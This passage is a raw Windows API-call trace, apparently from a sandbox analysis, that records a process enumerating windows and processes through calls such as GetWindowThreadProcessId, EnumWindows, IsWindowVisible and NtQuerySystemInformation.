[0275.772] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.773] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.773] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0275.773] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.773] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.773] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.773] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.773] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0275.774] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0275.774] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.774] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0275.774] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.774] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.774] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0275.774] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0275.774] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0275.775] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.775] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0275.775] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0275.775] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0275.775] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0275.775] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0275.775] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0275.775] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0275.775] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0275.776] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0275.776] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0275.776] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0275.776] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0275.776] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0275.776] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0275.776] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0275.776] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0275.777] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0275.777] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0275.777] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0275.777] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0275.777] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0275.777] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0275.777] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0275.777] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0275.778] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0275.778] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0275.778] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0275.778] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0275.778] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0275.778] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0275.778] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0275.778] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0275.779] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0275.780] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0275.781] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0275.781] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0275.781] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0275.781] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0275.781] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0275.781] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0275.781] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0275.781] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0275.781] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0275.782] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0275.782] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0275.782] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0275.782] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0275.782] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0275.782] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0275.782] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0275.782] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0275.783] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0275.783] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0275.783] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0275.783] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0275.783] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0275.783] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0275.783] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.784] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0275.784] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0275.784] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.784] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0275.785] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0275.916] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0278.312] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11ae0) returned 0x0
[0278.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b30) returned 0x0
[0278.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b30) returned 0x0
[0278.422] EnumWindows (lpEnumFunc=0x1b1a2a5c, lParam=0x0) returned 1
[0278.422] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0278.422] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.422] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.422] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.422] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0278.423] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0278.423] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0278.423] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.423] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.424] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.424] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.424] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.424] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.424] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.424] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.425] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0278.425] IsWindowVisible (hWnd=0x10320) returned 0
[0278.425] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.425] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0278.425] IsWindowVisible (hWnd=0x1031c) returned 0
[0278.425] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.425] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0278.425] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.425] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0278.425] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.425] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0278.425] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.425] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0278.426] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.426] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0278.426] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0278.426] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0278.426] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0278.426] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.426] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0278.426] IsWindowVisible (hWnd=0x102e0) returned 0
[0278.426] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.426] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0278.426] IsWindowVisible (hWnd=0x102e6) returned 0
[0278.426] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.426] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0278.426] IsWindowVisible (hWnd=0x102e2) returned 0
[0278.427] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.427] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0278.427] IsWindowVisible (hWnd=0x102de) returned 0
[0278.427] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.427] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0278.427] IsWindowVisible (hWnd=0x102dc) returned 0
[0278.427] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0278.427] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0278.427] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0278.427] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0278.427] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.428] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0278.428] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0278.428] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0278.429] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0278.429] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0278.429] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0278.429] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0278.430] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0278.430] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0278.430] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0278.431] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0278.431] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0278.431] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
